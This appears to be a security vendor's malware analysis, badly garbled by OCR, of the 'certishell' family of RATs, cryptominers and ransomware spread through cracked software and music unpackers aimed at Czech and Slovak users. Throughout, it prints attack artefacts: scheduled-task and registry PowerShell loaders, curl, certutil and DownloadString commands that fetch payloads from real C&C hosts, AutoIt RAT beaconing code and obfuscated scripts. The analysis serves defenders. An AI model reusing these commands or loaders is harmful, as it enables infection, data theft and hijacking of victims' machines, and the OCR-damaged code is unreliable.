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Research of this malware family began when | found a malicious task starting powershell
code directly from a registry key within our user base. | wasn’t expecting the surprise I'd
arrived at when | began tracking its origins. Living in a smaller country, Czech Republic, it is
a rare sight to see someone exclusively targeting the local czech/Slovak audience. The
threat actor seems to have been creating malware since 2015 and appears to be from
Slovakia. The bad actor’s repertoire contains a few RATs , some packers for
cryptominers and, almost obligatorily, ransomware , and | have named the malware
family certishell . This person’s malware is spread with illegal copies of songs and
movies and with alleged cracks and keygens of games and common tools ( GTA SA ,
Mafia , Avast , Microsoft Office )that were hosted on one of the most popular
Czech and Slovak file-sharing services uloz.to .

"C:\Windows\system32\schtasks.exe" fcreate /sc onlogon /tn SystemSettings /rl highest
/tr "mshta vbscript:CreateObject(\"Wscript.Shell\").Run(\"powershell.exe
-WindowStyle hidden -ep bypass -nop -c %e=(Get-ItemProperty "HKLM:\Software\a");

Select-Object -ExpandProperty Shell;Invoke-Expression $e\",®,True)(window.close)"

The Ceritshell family can be split into three different parts.

1. RAT with a C&C server sivpici.php5[.]sk (Czech/Slovak slang for “you are
fucked up”), which has AutolT, C++ and Go versions.

2. Miner downloaded from hacked websites and started with the script que.vbs from
the task.

3. Miner or ransomware downloaded from hacked websites and launched from a
powershell command hidden in registry keys. The command from the registry key is
started with the task from the picture above.
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The map above shows the risk ratio of users around who were at risk of encountering one
of the malware families

Sivpici.php5.sk (2015-2018)

sivpici.php5.sk
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The oldest part of the family is a simple RAT with sivpici.php5[.]sk asthe C&C server.
It places all the needed files in the folder .win inside of the user folder.

The malware installer comes disguised as one of the following:
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o Cracked software, such as FixmyPC ,

e Fraud apps, like SteamCDKeys that share Steam keys,

e Music CD unpackers with names like Extractor.exe or Heslo.exe (Heslo means
password in Czech/Slovak) that come with a password protected archive with music
files.

The malicious executable downloads an executable named UnRAR.exe and a malicious
archive that contains a simple RAT written in C++, AutolT or Go.

Installer

Every executable installing this malware family contains a script similar to the one in the
following picture optionally with curl.exe . This script usually shows the password to
archive or start another application. The malicious part downloads a legitimate RAR
extractor UnRAR.exe and a malicious archive that can be password protected and
unpacks it into the %UserProfile%\.win\ folder. In the end it registers one of the
unpacked files as a service, starts it and allows one of the binaries in the firewall.

start "" "fix-my-pc-setup.

exist %UserProfile%\UnRAR.exe (

timeout 2

(
cd %¥UserProfile®
AMYFILES¥\curl.exe -0 https://netix.dl.sourceforge.net/project/dieworld/UnRAR.exe
¥MYFILES¥\curl.exe -0 http://sivpici.php5.sk/xlam.rar
UnRAR.exe x xlam.rar
timeout 18
cd fd "% rProfi vin\Lambda\" ~
& schtasks fcreate /sc onlogon ftn WinUpd /rl highest /tr
timeout 1
cd C:\Users\¥USERNAME%\ .win\LambdaY,
timeout 1
start C:\Users\BUSERNAMEX\ .win\Lambda\dwms.exe
timeout 5
cd %¥UserProfile®
DEL xlam.rar

netsh firewall add rule name="DriverX" dir= action=allow

A

program= "Profil win\Lambda romedri enable=yes
netsh advfirewall firewall add rule name="DriverX" dir= action=allow *

program= "Profi winLambda\chromed enable=yes

| found six different methods used to pack the script into executable binary:
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1. Bat2exe
2. Quick Batch File Compiler
3. Compiled AutolT version

MSGBOX ( $MB_
FILEEXISTS ( @

INETGET ( "htt
INETGET ( "http:

$CMD = "

INETGET { $

SHELLEXECUTE ( %
PROCESSEXISTS (

OPT ( %/ 24FAA , NUMBER (
FILEEXISTS ( EXECUTE ( ¢

INETGET ( , EXECUTE ( $A , NUMBER (
INETGET { $A06B8 : i 1A $A24C812574F , NUMBER (

RUNWAIT ( EXECUTE ( %4 21 & $A , ™", EXECUTE ( $A

5. Compiled AutolT version with obfuscated script and packed with PELock
6. Compiled AutolT version with obfuscated script packed with VMProtect

RAT

There are three main variants of this RAT. All of them use the same C&C

sivpici.php5[.]sk and similar communication protocol. The most advanced is a
compiled AutolT script. This script comes in 10 different main versions. The second one is
written in C++ and we found only one main version and the last one is written in Go also
with one main version.

The first time it is run, it generates a random alphanumeric string that works as an
identificator for the C&C. This identificator is saved into file gen.gen for next start. The
communication uses the HTTP protocol. Infected machines send the following back the
C&C:

e pc = ComputerName,

e o0s =contentof SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion\\ProductName ,

e uniq = generated identifier, saved in \.win\gen.gen
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with the GET method to start.php .

After a random period of time, the malware starts asking for commands using the GET
method with the parameter unig . The response is a number that has fixed meanings
throughout all the versions. Commands “1” — “7” are implemented as follows:

1. The RAT downloads a URL from /urlg.php using uniq , from this URL it
downloads a file, packed.rar , then the RAT starts run.bat from the installation
phase to UnRaR the package to the \.win\Lambda folder and restart the RAT. This
allows the RAT to update itself and also download any other file necessary.

. Create a screenshot and send it with the POST method to the up.php .

. Send all file names from all drives to up.php .

. DDoS attack to a chosen IP through UDP / HTTP / PING .

. Get a list of all installed apps from

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
savesitto /.win/installed.txt and sendthemto up.php .
6. Get a list of all running processes, save itto /.win/processes.txt and send them
to up.php .
7. Collect log from keylogger, save itto \.win\log.txt andsenditto up.php .

a b~ WODN

The RAT in the form of compiled AutolT script has the name winhost.exe .
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IF FILEEXISTS ( @USERPROFILEDIR & "\.win\gen.gen" ) THEN
$FILE = @USERPROFILEDIR & "\.win\gen.gen"
FILEOPEN ( $FILE , @ )
=1 TO _FILECOUNTLINES( $FILE )
$LINE = FILEREADLINE ( $FILE , $I )
$UNIQI = $LINE
NEXT
FILECLOSE ( $FILE )
ELSE
$DOCAS = _RANDOMALPHANUM( 16 )
LOCAL $HFILEOPEN = FILEOPEN ( @USERPROFILEDIR & "\.win\gen.gen"
$FO_OVERWRITE + $FO_CREATEPATH )
FILEWRITELINE ( $HFILEOPEN , $DOCAS )
FILECLOSE ( $HFILEOPEN )
$UNIQI = $DOCAS
$SGET = HTTPGET( “"http://" & $WEBS & "/reg.php?pc=" & @COMPUTERNAME &
"Ros=" & $SVAR & "," & @OSARCH & "&unig=" & $UNIQI )
ENDIF

SLEEP ( 2000 )

HTTPGET( "http://" & $WEBS & "/updaver.php?unig=" & $UNIQI & "&ver=0884" )
SLEEP ( 2000 )

GLOBAL $TIMER = TIMERINIT ( ) , $DIFF =

WHILE 1
$DIFF = TIMERDIFF ( $TIMER )
$X = RANDOM ( 62000 , 120000 , 1 )
IF $DIFF >= $X THEN
SLEEP ( RANDOM ( 45000 , 75000 , 1 ) )
$PAGE = INETGETSOURCE( "http://" & $WEBS & "/load.php?unig=" & $UNIQI )
SWITCH $PAGE
CASE 1

CASE ELSE
ENDSWITCH
SLEEP ( 2 )
$SGET = HTTPGET( "http://" & $WEBS & "/online.php?unig=" & $UNIQI )
SLEEP ( RANDOM ( 62080 , 120000 , 1 ) )
$TIMER = TIMERINIT ( )
ENDLF
SLEEP ( 5 )

WEND
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There is a comparison of different versions (versioning by the author of the RAT) in the
following table.

Version Commands Notes
debugging 1 Command 2 opens a message box with text 222222
4 1-3 Registration of PC happens only once on reg.php and on

connection it sends only the uniqg and the version of the RAT
to updaver.php

6 1-4 Opens /ad.php in a hidden Internet Explorer window once
when the user is not interacting with the PC for at least 5
seconds and closes it after 30 seconds.

7 1-5

8 1-7 Keylogger starts with the start of the RAT.

9 1-7 Keylogger has colored output.

10 1-7 Keylogger is separate executable ( ~\.win\1.exe )

Comparission of different version of AutolT RAT

The keylogger in versions eight and nine is copied from the official AutolT documentation
(with a few small changes)

https://www.autoitscript.com/autoit3/docs/libfunctions/ WinAPI_SetWindowsHookEx.htm

\ST <> "B2" _ LOGKEYPRESSED(

yle="font-size:12px

Version 9 adds coloring of keys, mouse movements and clipboard in the keylogger.

The C++ RAT is named dwms.exe . It uses LibCURL to communicate with the C&C. The
communication protocol is the same. The uniq identifier is saved inthe fr.fr file
instead of gen.gen for the AutolT version, it also starts communication by accessing
connect.php instead of start.php .

I've managed to find a debugging version that only has the first command implemented and
returns only “Command 2” and “Command 3" to the standard output for the second and
third command. After every command it answers the C&C by sending unig and verzia
(“version” in English) with GET method to online.php .

The “production” version is labeled as version A. The code is divided into two functions:

e LlLLoad downloads the URL address of the C&C server from the pastebin and tests
it by downloading /exists.txt .
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e RRRun that contains the first two commands as described above. It also uses
/connect/ path for register.php, load.php, online.php and
verzia.php .

To download newer versions it uses curl called from the command line.

: roperator+<char>
:operator+<cha
:strin i

freetips.php5[.]sk/public_html/SHOT.bmp
with the username sivpici and password A1B2C3D4 .

The RAT written in Go only has the first command implemented, but it downloads
/cnct/ad. txt and it opens URLs contained on victims computer, thus we speculate it
could also work as adware.

IECache, bitly, pastebin (2016-2018)

The installation of this coinminer is similar to the RAT in the previous section. Installations

use the same folder and the scripts have the same name. It usually comes as an unpacker

of illegal copies of music and movies downloaded from uloz.to . It uses powershell to

download and execute scripts from a bit.ly shortened address. The final stage is coinminer
IECache.exe , which is usually XMRig.

Mo,

\ .
_) Pastebin

Download V. Download
and start and start

IECache.exe

Password.exe
Unpack.exe

Register

Heslo.txt.exe, Crack.exe...
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There is a huge variety of programs that download bit.ly-shortened Czech and Slovak sites
and execute them. These programs include: GTA SA crack, Mafia, Microsoft Office, Sims,
Lego Star Wars, and unpackers for music and movies. These programs usually print a
message to the victim and run a malicious script in a hidden window.

The unpackers use UnRAR to unpack the archive and show the victim the password of that
archive.

extract(self):

subprocess.call({'unrar « -pl234 "' + root.filename +
ctypes.windll.user32.MessageBoxA(8,
> B,
subprocess.call(’ ] of (n ject net.webclient).' +
‘DownloadString(™\"h . ONnQ ' )
ctypes.windll.user32.MessageBoxA(8, hy ti ar tak to skus rucne ' +

Unpacker of a music album written in Python and packed with Pyinstaller. It tries to use
UnRAR.exe to unpack the music, if unsuccessful, it shows password “1234”.
The cracks on the other hand just show an error message.

Result of Patcher for Counter-Strike Global Offensive. After downloading and installing the
malware from Sourceforge it shows an error from the picture above.
All the installation files execute the following command with some bitly shortened site:

povershell.exe -ep Bypass -nop -c iex ((new-object net.webclient).DownloadString(

There are VBA scripts calling it, basic programs possibly written in C, .Net, AutolT scripts,
Golang programs, Rust programs, Redlang programs, different packers of python and
batches, some of them use UPX, MPRESS, VMprotect and PELock.

17 -
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-c iex ((new-object net.webclient).DownloadString(
htt /bi AAphm') )"
RUNWAIT ( Jc " & $CMC X, @SW_HIDE )

subprocess, win32ui, time, os, platform, os.path
win32ui.MessageBox( 'Heslo od vu je : Prague', "Uloz.to")
PATH = os.path.expanduser('~"') +
os.path.isfile(PATH):

time.sleep(2)

(PATH, 'a') (the file):
the_file.write('o\n'
subprocess.call("’
time.sleep(1@)

Pyinstaller
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@ /e
@ of F&( defined @lof goto )& disableDelayedExpansion& /T "delims=
%%A in ('chcp') do set "@chcp@=chcp ¥%A>nul"& 708>nul&
"@lo@= !#$&' ()*+,-./0123456789:

A%% § %6%windir%%; %% %% P4 ST Ay 5 e A T - XK BUBRN | %
KX | KB U OXRr %% 1% 1“3%%;..1%[%‘369%-::0 %53

TR0l ~ b

| B KBOXHE%Y | %2
XHOKR | %O KBOLBOHE | Xbwind i r KRV E%VEROXTOE %
0% ; %A% NS HH AN OXIELHAXREEK | Bwind ir%BVEHYS

0% %% 3 %% BB T HBOBRT%% § %% ¢

Rust

Downloaded script

There are at least two new scripts created by the script from the site hidden behind the
bit.ly shortened URL, que.vbs and run.bat .

The script also creates one of two services named winmgr and winservice that start
que.vbs . Que.vbs only starts run.bat which downloads whats.txt contains a script
downloading and starting coinminer IECache.exe .
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que.vbs hash:
6f2efc19263a3f4b4f8ea8d9fd643260dce5bef599940dae02b4689862bbb362

run.bat hash:
1ad309c8eel17718fb5aact2587bd51bddb393¢c0240ee63faf7f890b7093dh222

f@echo off

-Command
(New-Object Net.WebClient).Downlo ( //pastebin.com/raw,/tTh
timeout ft 2
set fp =<{whats.txt
setlocal enabledelayedexpansion

set count=8

/T "tokens=*" %%x in (whats.txt)

set fa count+=1
set [ 'count! ]=%%x
)
timeout ft 2
del whats._txt
ping -n 2 % [1]1% | find /I "Lost = @"

%errorlevel® == 8 goto OK

Content of run.bat
In this case the pastebin contains two lines (the second line is splitted for better readability)

2.217.23.227

d.exe fC cd "¥windir¥X" &

certutil.exe -urlcache -split -t http://forummanazera.sk/IEcache.exe &

start IEcache.exe & exit

content of pastebin

The miner

The miner is saved as IECache.exe or ctfmon.exe .

The first miner (from June, 2018) is just XMRIig that includes all command line options
inside the binary.
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A9ESC8(
v5 = sub 4
sub_ 49E4FB();

= o - 1o
eturn vs;

Most of the miners of this type | found are packed with vMProtect or
Themida/Winlicense .

The more interesting one (from Jun-Jul 2018) is a compiled AutolT script packed with
VMProtect . Here again, we see that author speaks Slovak:
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FUNC ODBASUJ64A( $INPUT_STRING )

FUNC ODLZMUJA({ $SOURCE )
IF NOT ISBINARY ( $SOURCE ) OR BINARYLEM ( %$SOURCE ) < @x@0e@@e83 THEN RETURN SETERROR ( ©x90ed

AL $DATIZ = MEDLOLOTVOR( $TAJDAT )
AL $NEJAKAVELKOSTG = DAJZRAMADRESU( $DATIZ , STRINGREPLACE ( “"AAAaDecGetSize" , "AAA™ , "Lz
AL $PNEJAKAC = DAJZRAMADRESU( $DATIZ , STRINGREPLACE ( "***aDec" , "®*" _ " zp" ) )
MEDLOLOTVOR( $DSUBOR )
DAJZRAMADRESU( $KDE , $SFUNCNAME )
ZAVRIRAM( $KDE )
NC _JADRORA{ $ICALL , BYREF $MOWE , $SFUNCNAME = 0x00000808 )
AL STATIC % VOLAKYBUFAC , $ NECONACITAJ , $ DAJADRASA , $ UVOLNITO , $ DAJPROCAK , $LIBKUA ,
NOT $COTOIN THEN
@AUTOITX64 THEM EXIT ( MSGBOX ( 0x00000018 , "Error-x64" , "x64 Not Supported! " & @LF & @LH
AL $KODIK = STRINGREPLACE ( "HwFFFFFFFFFFFFFFFFBR#*®# 3%k X CFE*ER*=F XX RRCFE*BR** %k 22 CE*BR#
_PUSTITAM( $BBINARYIMAGE , $SCOMMANDLINE = "" , $SSEM = @AUTOLTEXE )

_DAVAITOMUKURVA( )

_SPUSTIREL( $PMAAAA , $TDATA , $PADDRESSNEW , $PADDRESSOLD , $FIMAGEX64 )

This script contains the XMRig as (in some cases LZMA compressed) Base64 encoded
string inside a variable. The miner is decoded and started in memory.

$CPUS &= "vB8lH7yNoB4gUmz8MeVOmE2niHbnGwpYcz2yUwUNxFtsBfwvXtmSTUg29C3ml /mE6TYozFWc3Im3TRpL1pklyly
$CPUS &= "LUtOt@bEQbT8251ule’oKrwBYu+m30kbKvZ551hn@mT1XLkk4hAFPvpOdTU7COTLbT2RHPuaFQ518Mz 9y /DKy
$CPUS = BINARY ( ODBASUJGAA( $CPUS ) )

$CPUS = BINARY ( ODLZMUJA( $CPUS ) )

LOCAL $MAXCP = "XQAAAAQAG6gAAmgAmloSwABT3I7AW76vT/1AEVRO985vPqQpessB7DET6KvzatEM7F/jTYAtgkcf19ECY
$MAXCP &= "g/Lk+vTzPOWMUIGEyt240UJcdGZsUaqStAZgy+jHH3MNFC1Txq/zNLZCIWRAZ jhtKbxolfI+6eygoDFztnU3
$MAXCP &= "DBuEoiKM2Gf1eruCllIctHBjpYSWAAnTa®c71G3bjDrd4lvtoq3s /Xex2g2woa50QvSppdns2Xu8YPTRvINF/

ODBASUJ64A is “decode base64” and 0ODLZMUJA is “LZMA decompress’.
In some versions, the script checks user activity and it starts different miners with different
options to maximize profit with lower risk of being caught.



https://lh4.googleusercontent.com/73tJ_cWkqSlnjlwoYZ0QLpXbjZQbfeOxsx9hYZ_eGKGAQsJC50iM8gM7Ga4tEIz0F99b9R2jxfVmkAV_9BdIhB6WzyeKbMM8StCoBznGFCVpcV4HX0HoSs4u1y_KoTLsH5dG6rPd
https://decoded.avast.io/wp-content/uploads/sites/2/2022/04/certishell22.png

SLEEP ( ©x@0000064 )
$INAC _TIMER_GETIDLETIME( )

$IN, ORTIME >= $INACT AND NOT $P
PROCESSCLOSE ( $INPEID )

PROCESSCLOSE { %PR
OCIDE = @xobea
PEID = _PUSTITAM{ $CPUS , " -o 1l.monero.ha

1=1 --max-cpu-usag -k --cpu-priorit

_PUSTITAM is executes an binary in memory
Newer samples (Since August, 2018) use sRDI or XOR encryption in memory and injection
to a suspended process to hide from antivirus software.

Interesting files

Sourceforge and Github

Some of the samples used Sourceforge and Github to download malicious content, instead
of small, possibly hacked websites.

.exe -0 https://raw.githubusercontent.com/W33v3ly/WEB/master/que.vbs
.exe -0 https://raw.githubusercontent.com/W33v3ly/WEB/master/run.bat

Jfd

It downloaded content from a repository WEB of user W33v3ly on Github and from user
Dieworld on Sourceforge. On Github, the attacker once made a mistake and pushed
Systemcall.exe and TestDLL.bin to the wrong repository.
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https://decoded.avast.io/wp-content/uploads/sites/2/2022/04/certishell20.png
https://github.com/monoxgas/sRDI
https://lh5.googleusercontent.com/Qwg6BsM2q5dhhdEIOAIo8A7npPE2s5pbZL1rhQ8PBw_QozkRG-SHJdiBq1vJ14CEl-8YC3Nx-JYp9a8VHCJCL12McKgqaRps_NLWa4-p3Y2vkTTL8zh1sMO3dGs4jhcC2Nb40pUD

Systemcall.exe hash:
e9d96c6de650ada54b37881871321525094Ff7266b87c98d3dd1398c2d5c41a

TestDLL.bin hash:
1d2eda5525725f919ch4ef4412272f059abf4b6f25de5dc3b0fcadce6ef5dd8e

Delete Systemcall.exe
. W33v3ly committed on Oct 6, 2018

Delete TestDLL.bin

. W33v3ly committed on Oct 6, 2018

Test
. W33v3ly committed on Oct 6, 2018

The Systemcall.exe is a PE file without “MZ” in the beginning and Test.d11l contains
some random bytes before the PE file. The dll contains XMRig encrypted with TEA and the
Systemcall.exe uses sRDI toload and run the Test.dll.
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https://lh6.googleusercontent.com/RYd13wHAiVEudRHk7i76sXVxEVrhGwp4kcK6pQieXBp-FcNnZZn3QVfFp_QdKRKuh4eRCPyMMalbhjj3V7qm16Y8HWT0RwlYLVbOARXgVeSmIb_zram96nYNHMDIZwxOPGNcVrnm

4 years ago

‘, dieworld released /packed.rar
r

4 years ago

‘, dieworld released /upda.rar
A

4 years ago

" dieworld released /upda.rar
A

4 years ago

‘, dieworld released /packed.rar
1

4 years ago

‘, dieworld released /death.rar
A

4 years ago

‘, dieworld released /begin.rar
A

4 years ago

" dieworld released /begin.rar
A

Steam Giver

This small application written in .Net shows some hacked Steam accounts.
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https://lh6.googleusercontent.com/4Mt5nk1sjzAhQqQWDN9jLD7fk32toCRce795sAfBS9kWEL162x_wbxTuud--c2NMOlOVP_1PyY6XaDIFZh6qoSiGwi2JPEpUdALS-ePQ1ZFmVJHZwTTEEfGTwc7aX8l1bvXa3wY7

9 Steam Giver V1

steam Username [ G
Steam Password : |GGG

Email Account :

O]
Email Password : |GG

steam Username : || GTTEEGEGEG
Steam Password ;I

Email Account : [ NG
Email Password : [INNEGE

Steam Username : [N
Steam Password : || IIEGIN

Steam Giver V2 Steam Giver V2

I
Generate

The malicious part downloads and installs the following scripts and downloads UnRAR and
begin.rar
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if (MyProject.Computer.FileSystem.FileExists{Path.GetTempPath() + "Install.bat"))
return;
File.WriteAllBytes(
Path._GetTempPath() + "Install.bat",
Encoding.UTF8.GetBytes(Steam Giver V2.My.Resources.Resources.Stringl));
File.WriteAllBytes(
Path.GetTempPath() + "inv.vbs",
Encoding.UTF8.GetBytes(Steam Giver V2.My.Resources.Resources.String2));
File.WriteAllBytes(
Path.GetTempPath() + "runner.bat™,
Encoding.UTF8.GetBytes(Steam Giver V2.My.Resources.Resources.String3));
MyProject.Computer.Network.DownloadFile(
"http://freetips.php5.sk/begin_rar™,
Path.GetTempPath() + "begin.rar");
MyProject.Computer.Network.DownloadFile(
"https://netix.dl.sourceforge.net/project/dieworld/UnRAR.exe",
Path.GetTempPath() + "UnRAR.exe");
Interaction.Shell(Path.GetTempPath{) + "Install.bat™, AppWinStyle.Hide);

Install.vbs creates atask named WinD2 that starts inv.vbs upon every PC startup.
Inv.vbs starts runner.bat , which starts %temp%/Microsoft/NisSrve.exe thatis
unpacked from begin.rar with UnRAR.exe .

Free bet tips

Betters are also targeted. We found a malicious file with the following readme file:

Dears Tipers from page : https://www.facebook.com/fToryouforfreebet/

Follow this steps to add to the contest:

1.5tart Number.exe

2.Pleas save the number which will be generated example : 5698

3.Go on https://www.facebook. com/foryoutorfreebet/ and find CONTEST POST
4 _Write your number from step 2 into comment section.

5.SHARE THE CONTEST From https://www.facebook.com/fToryouforfreebet/

6.Finish

On 28/2/2818 I end this Contest and i pickup random ids who will win.
Good Luck Here is prices list:

Main: Premium ticket (When it is lost i pay you 33€)

Second: My VIP app on google play https://play.google.com/store

[apps/details?id=com.giccomisto.specialviptips



https://lh6.googleusercontent.com/JXbMRRNmIIGePOCC2MnIIMcU_yE5n0KJladMkZiysG9QMjowzdiINWt2bJrpzyR15hWdokvlZmSPCoyqmzCH3E0t3H0lggdX2Vgxv8vTMwxo2FN0oDF6VTU_4O0nSOWhqoE0AOd6
https://lh3.googleusercontent.com/gIhTCPrKR_5Tx1CyZfXLMuISH8w9EjFzyAYjdt-2kYT8p51ZG8mQxtr5qUIr3ItrZwnMEqV4fgzVY_OWGZX7RVQ92JRuYUFemgsgsE2QnKOWd5tFxLOvG8LXh_hNV4O1rl6dVt7J

The binary included only starts a cmd with the script as an argument.

File

Parameters

All from registry keys since 2018

After 2018, | observed an updated version of the malware family. There is no need for any
script file if you can have a command as a scheduled task and save enough data into
registry keys.

The infection vector is the same as in the previous case. The victim downloads and runs an
executable that downloads a powershell script from a hacked website whose URL is
shortened with bit.ly. This time the script is different, it creates the following task:

"C:\Windows\system32\schtasks.exe" fcreate fsc onlogon /tn SystemSettings /rl highest
/tr "mshta vbscript:CreateObject(\"Wscript.Shell\").Run(\"powershell.exe
-WindowStyle hidden -ep bypass -nop -c $e=(Get-ItemProperty "HKLM:\Software\a");

Select-Object -ExpandProperty Shell;Invoke-Expression $e\",8,True)(window.close)"

This task reads the value of the registry key Shell placed in HKLM\Software\a and
executes its content. The script also creates the Registry key.

Let’s focus on the value of the registry key shell . In the following picture you will find the
value | found on an infected machine.
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https://lh5.googleusercontent.com/51GQ7NNJ3tjYwfFkmIMFAzuzcgI3Bo3B-2UrBP7DJflLLLkHtv4DdIIQEVGuL-aQZ2YBAOSdEiFSNSDEY5GQxrJmKMBA9XsnDXKa_1D3TXA3BMbiJ56IXORSGglM_4wPGyw54JYT
https://lh3.googleusercontent.com/DSW6kknJrekw9111qVF50wkMQBVAsQUUqlCM3aFmKYad8dcA0kDKbeDH2m2LtA_dy4ddSBCs-Zkw0i41yAc3vHU4k7YcSONZxZS2S8gIPFFrGTJhSXjVC6Dmpqj6V26MEfaHCGpX
https://decoded.avast.io/wp-content/uploads/sites/2/2022/04/image28.png

-($sHellLiD[1]+%sHel LTId[13]+"'x")
(MEW-0OBJECt SysTeM.io.ComPResSION.DEFLATeStREAM({[IO.mEmorYstreaM] [ConVerT]::FroMBasE6AStrINg(
2 h1:

JHodl bjEf3+chc

) ,[i0.comPResSION.COMprEsSiONmOdE]: : dECoMPrEsS) | FOReacH-obJecT{
MEW-OBJECt SyStem.io.stREAmMREAdER($ ,[texT.ENCoDINg]::aSCIi )}).rEadtoend()

After decoding and decompression we get an obfuscated script:
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https://lh6.googleusercontent.com/RJL_xE0ShxurxLLpjuzMq8UMKWozQgBW-PakTSpzgx6Hc24fNtlA6NZpNhyOJFc6Ez8ewv3DB22hCed_EbYnRFkWSktEnwUL_0Le_Kh94ymSe9EDsWnIAsxaG3eWHqvnDHF7FbUw

IEX ( ((("{a9}{363{15}{22}{6e1}{38}{5H{41}{21}{24}{6 {11 {62} {56}{39H{35}{59}{44 {9 {18} {47}{4}
373{14}{40}{45}{48} {34} {54 {8} {55} {26 {23 {12} {2} {46} {27 }{30}{33}{ 18} {57} {31 {32} {51}{ 20} {53}
{523{42}{29}{16}{43} {28} {0 }{7H{3}{50{60} {19} {13} {17 {58} {25 {63 {1}" -f'X2gRueYmpub, pubg/Epub
, PubuBpu6 , pubwCeIMASEABpuG”’ , 'ub) . Invoke()}) ", "zpub, pubGpub, putYdmnoC' , 'AYHeCompredYHsS7A8 )Mwd
&(7A8{0}{2}{1}7A8-f pubFOrpué,pubcHpu6,pubEApus){ &(7AB{1}{0}{2}","'22}{2", "ubIpub,pubn.COMprES
SIpub, pubmpub,puboDpu’, ' }{4}7A8 -f',"',pueBpus) ), pSG{174YH8FAYH2w}::7A8D", "ub,pus’', ' 8}{17}{71
H63H23{14{31}{82}{56}{36}{69}{3}", 'Upub, pubr8GNEjepu"’," pubPrpub,pubspub,pubem.I0.pub,pubY
STpub, pubREaMpu6, pu6iOn. ", ' ,puerVLvipu6,pu6’, '8 -fpue', ' }{18}{46}7A8-Tpubupu6, puch0lBpgvit+2Zhpu
6,pubppub,pu’,'748) ( [tYPE](7a8{1}{4}{2}{0}", '6,pub7ksbgQBRIVDkVwWH", " :Pdgpué,pubvaRiABlEpué,
publpus)) .7, "{83H{21}{86}{77}{47}{26}{74}{76", 'apub,pubio.sTReapub, pubDErpub, pubMrpub)( p5G{_
T, ( .(pubGIput) (7A8{1}{@}{2}7A",'Seoh’', e:pub) ( [tyPE](7A8{0}H{1}{2}{3H{5}{4}7A8-FpubSpu
6, pubypub, pubSpub, pubtepub , pubncODinGpub, pubM.tEXT .Epub)) ; .( p5G{VeRbosepR4YHefedYHRAYHenCE}
.(7Aa8{2}{@}{1}7A8-fpueTrinpué, pubGpub ,pusT', '{3}7A8 -f pubNverpub,putSpub,pubem.COput,pubTpub,
pubyStpus) )} ; &(7A8{2}{@}{1}7A8-fpu6t-pub,publtEMpub,pubSEpub) (pubVaRIpub+pubAbpub+puble:l
7pub+pub8f2w', "pub’, "0Spub) . Invoke()[1,3]+pubxpub-jOiNpubpus) (&(7A8{3}{2}{@}{1}7A8-f pu6-0Bpu
6,publEcTpub, pubwpub, pubNeput) (ZAB{1H{3H2HoHeH7H{5H{8}{6", '8AsAYHciI7A8) }Mud.(7A8{1}{@}
{2}7A8 -TpubRepub,pubt’, '15ez0drubmkvpué, pu63+pu6, pubfpub, pubgpub, pubd?/FuaXgkegpY"', '6Wpub, publ
RrkD85I7Z2bJKSvg3pub, pub®2nl LWEqQVHNOpobXU2 /Spub , pubpwMBpub , pu6FEPyrQitl1s86pub , pubd]gstI8Nuxip’,
"yrdwRPE', "u6, pub0pub, pubzppub, pubkspUpub, pubipué, pubcObpgD¥71Qpub, pubxApub, pubiral FBpub, pu69N
AEP1eb6P8whsApub, pubvguillopub, pubX7pgpub, pubeHVtpub, pue9kpu ', 'ub, pubIbapub, pubA77/5qpub, pubvidg
9Ccblols19@AYCXzglpu6,pu’, "M3b96b7Jadpub, ', "pubpMEbeSuZk"’ , ' 6MIO15Bmpub, pubYnpub, pubyCorOpub, pu
6Qspub , pubebuuDCPpub, pueViC', "H85epub,pusIpu’, "31{0}7AB-TpubeAStriNgpu6 , pu6Fpub, pubROmput , pubB
asepu6).Invoke( (7A8{28}{73}{64}{30}{16}{a}{75}{55}{41}{67}{27}{85}{0}{53}{42}{50}{9", ' {0}7A8-
f pubt-iTEMpu6,pubeput,pubSpus) (7A8VArIaBlE:7A8+7A81Ko7AB+7A877A8+7ABU", "9 {37H{43}{2}{87}{5
7H51}{12}{49", ' -Fpu6MpRpu6, pubo.Copub,pubonput,p’, "1}{2}{ ", "61lpub, pubhput, pubdg/81Wr+/3e8Npub
, pubgOvICrnpub, pubTuMpu6, pubZsdelB8/h5qZXOMIpub , pubFCOTxy0TGpub , pubwAI+otXy0717ZTT8i1pu6, pucDu
@xJZaKc','6,pubeSSiopub,pubepub) ); &(7A8{2}{1}{0}7A8 -fpuGEMpu&,pubt-Itpub,pubSepus) (7A8{2}H{
@3{4H{1}{3}7A8-T pubARipub,pubpdGpub,pubVpub, publpub,pubABl”, "E2Lipub,pubgIp’, 'Kpub,publpub, pu
6F6+I8bp0gTpput, pubi3MIPeKfpub , pubEcUOB0QNA3I60LMIEAK7ikyput , pubwpub , pubRwl+jakpub ,pubhIypu6,p
u61050/pub, pubbzp’, *3H5H191{52{72}H{35}{33}{15}{45{62} {24} {8} {39}1{44}{59}{25} {65 {54}{8", "x
IaAXpub,pubd', "'mKfZGpu6, pubT564pub, pubdkRcpub, pu6Xlpu6, pubRpus,pu’, ' 1{20}{84}{7} {80} {68}{4B}{6
6 H{1}{6}{38} {60} {48}{78}{", 'pub, pubNimc Fud+/0X4pu6, pubDerput, pubCpub,pubCl’, ' . (7A8{2}{1}", '7AS
-fpubew-pub, pubNpub,p’, ' luMnGDpub, pué ', 'CFpub, pubGCZ7E1Ipu6,publl’, 'Cibpub, putQpub, putXdakpub,
pubsQyWQwMulziVGmpu6, pubszpub , pubapub, pubS5Xipu6,pub’ , "6, pubsSgt9si3ftfpub, publgtPHRtdR+euaxg7zkX
pu6, pubXOnLpdpub, pubYKhy29fp', 'Cl+Gg5Veffriteffdpu6,pub”, "6, pubEFlpu6, pueCoMpué) ([I0.mEmORYstre
aM] p5G{1Ko4YH7u}: : (7A8{",'6,pubzpub,pub5’, 'ABVAYHALUE7AS: : 7A", '0}{11}{58}{32}{79}{61}{89}{9}
{163{91}{34}{70}{81}{1", 'u60BIECTpu6) (7AB{1}{3}{8}{2}7A8 -fpube','pub) ([tyPe](7A8{3}{1}{0}
{7H{aH{2}{5}{e}{8}7A8", "dpub, pubaTESTpub, pubeSspu', "opub,pubachpus) { p5G{ }.(7AB{2}{1}{@}7A8-
f pubNdpu6, pubTOEpub, pubReADp')) -CREPLaCe'pu6',[CHar]39 -CREPLaCe '7AB8',[CHar]34 -REplace '4
YH',[CHar]96 -CREPLaCe 'Mwd',[CHar]124 -CREPLaCe'p5G',[CHar]36))

Under two layers of string formatting and replacing we get another compressed base64
encoded script:



https://decoded.avast.io/wp-content/uploads/sites/2/2022/04/image21.png

